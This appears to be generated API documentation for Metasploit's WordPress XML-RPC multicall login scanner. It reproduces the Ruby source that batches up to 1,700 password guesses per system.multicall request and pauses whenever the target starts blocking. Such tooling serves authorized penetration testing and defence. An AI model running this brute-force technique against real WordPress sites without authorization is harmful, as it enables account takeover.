Class: Metasploit::Framework::LoginScanner::WordpressMulticall

Inherits:
HTTP
  • Object
show all
Defined in:
lib/metasploit/framework/login_scanner/wordpress_multicall.rb

Constant Summary

Constants inherited from HTTP

HTTP::AUTHORIZATION_HEADER, HTTP::DEFAULT_HTTP_NOT_AUTHED_CODES, HTTP::DEFAULT_HTTP_SUCCESS_CODES, HTTP::DEFAULT_PORT, HTTP::DEFAULT_REALM, HTTP::DEFAULT_SSL_PORT, HTTP::LIKELY_PORTS, HTTP::LIKELY_SERVICE_NAMES, HTTP::PRIVATE_TYPES, HTTP::REALM_KEY

Instance Attribute Summary collapse

Attributes inherited from HTTP

#digest_auth_iis, #evade_header_folding, #evade_method_random_case, #evade_method_random_invalid, #evade_method_random_valid, #evade_pad_fake_headers, #evade_pad_fake_headers_count, #evade_pad_get_params, #evade_pad_get_params_count, #evade_pad_method_uri_count, #evade_pad_method_uri_type, #evade_pad_post_params, #evade_pad_post_params_count, #evade_pad_uri_version_count, #evade_pad_uri_version_type, #evade_shuffle_get_params, #evade_shuffle_post_params, #evade_uri_dir_fake_relative, #evade_uri_dir_self_reference, #evade_uri_encode_mode, #evade_uri_fake_end, #evade_uri_fake_params_start, #evade_uri_full_url, #evade_uri_use_backslashes, #evade_version_random_invalid, #evade_version_random_valid, #http_password, #http_success_codes, #http_username, #keep_connection_alive, #kerberos_authenticator_factory, #method, #ntlm_domain, #ntlm_send_lm, #ntlm_send_ntlm, #ntlm_send_spn, #ntlm_use_lm_key, #ntlm_use_ntlmv2, #ntlm_use_ntlmv2_session, #uri, #user_agent, #vhost

Instance Method Summary collapse

Methods inherited from HTTP

#authentication_required?, #build_http_service_opts, #build_service_opts, #db, #send_request, #service_as_result

Methods included from Msf::Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Attribute Details

#base_uri ⇒ String

Returns:

  • (String)


24
25
26
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 24

def base_uri
  @base_uri
end

#block_wait ⇒ Integer

Returns:

  • (Integer)


20
21
22
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 20

def block_wait
  @block_wait
end

#block_wait, time to wait if got blocked by the target ⇒ Integer

Returns:

  • (Integer)


20
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 20

attr_accessor :block_wait

#chunk_size ⇒ Integer

Returns:

  • (Integer)


16
17
18
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 16

def chunk_size
  @chunk_size
end

#chunk_size, limits number of passwords per XML request ⇒ Integer

Returns:

  • (Integer)


16
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 16

attr_accessor :chunk_size

#passwords ⇒ Array

Returns:

  • (Array)


12
13
14
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 12

def passwords
  @passwords
end

#wordpress_url_xmlrpc ⇒ String

Returns:

  • (String)


28
29
30
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 28

def wordpress_url_xmlrpc
  @wordpress_url_xmlrpc
end

Instance Method Details

#attempt_login(credential) ⇒ Metasploit::Framework::LoginScanner::Result

Attempts to login.



133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 133

def (credential)
  set_default
  @passwords ||= [credential.private]
  generate_xml(credential.public).each do |xml|
    send_wp_request(xml)
    req_xml = Nokogiri::Slop(xml)
    res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
    res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
      result =  value.at("struct/member/value/int")
      if result.nil?
        pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
        credential.private = pass
        result_opts = {
          credential: credential,
          **service_as_result(service_opts)
        }
        result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
        return Result.new(result_opts)
      end
    end
  end

  result_opts = {
    credential: credential,
    **service_as_result(service_opts)
  }

  result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
  return Result.new(result_opts)
end

#check_setup ⇒ false, String

Checks if the target is a WordPress site with XML-RPC enabled

Returns:

  • (false) —

    if the target looks like WordPress with XML-RPC

  • (String) —

    a human-readable error message if it doesn't



42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 42

def check_setup
  set_default
  xmlrpc_uri = normalize_uri(base_uri, wordpress_url_xmlrpc)
  res = send_request({
    'method' => 'GET',
    'uri'    => xmlrpc_uri
  })

  return 'Unable to connect to the WordPress XML-RPC endpoint' unless res
  return 'Unable to locate WordPress XML-RPC endpoint (Is WordPress installed and is XML-RPC enabled?)' unless res.code == 200 && res.body.include?('XML-RPC server accepts POST requests only')

  report_service(service_opts)

  false
end

#generate_xml(user) ⇒ Array

Returns the XML data that is used for the login.

Parameters:

  • user (String) —

    username

Returns:

  • (Array)


66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 66

def generate_xml(user)
  xml_payloads = []

  # Evil XML | Limit number of log-ins to CHUNKSIZE/request due
  # Wordpress limitation which is 1700 maximum.
  passwords.each_slice(chunk_size) do |pass_group|
    document = Nokogiri::XML::Builder.new do |xml|
      xml.methodCall {
        xml.methodName("system.multicall")
        xml.params {
        xml.param {
        xml.value {
        xml.array {
        xml.data {
        pass_group.each  do |pass|
          xml.value  {
          xml.struct {
          xml.member {
          xml.name("methodName")
          xml.value  { xml.string("wp.getUsersBlogs") }}
          xml.member {
          xml.name("params")
          xml.value {
          xml.array {
          xml.data  {
          xml.value {
          xml.array {
          xml.data  {
          xml.value { xml.string(user) }
          xml.value { xml.string(pass) }
          }}}}}}}}}
        end
        }}}}}}
    end
    xml_payloads << document.to_xml
  end

  xml_payloads
end

#send_wp_request(xml) ⇒ void

This method returns an undefined value.

Sends an HTTP request to Wordpress.

Parameters:

  • xml (String) —

    XML data.



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 110

def send_wp_request(xml)
  opts =
    {
      'method'  => 'POST',
      'uri'     => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
      'data'    => xml,
      'ctype'   =>'text/xml'
    }

  res  = send_request(opts)

  if res && res.code != 200
    sleep(block_wait * 60)
  end

  @res = res
end

#service_opts ⇒ Object



58
59
60
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 58

def service_opts
  build_service_opts('wordpress')
end

#set_default ⇒ Object



31
32
33
34
35
36
# File 'lib/metasploit/framework/login_scanner/wordpress_multicall.rb', line 31

def set_default
  @wordpress_url_xmlrpc ||= 'xmlrpc.php'
  @block_wait ||= 6
  @base_uri ||= '/'
  @chunk_size ||= 1700
end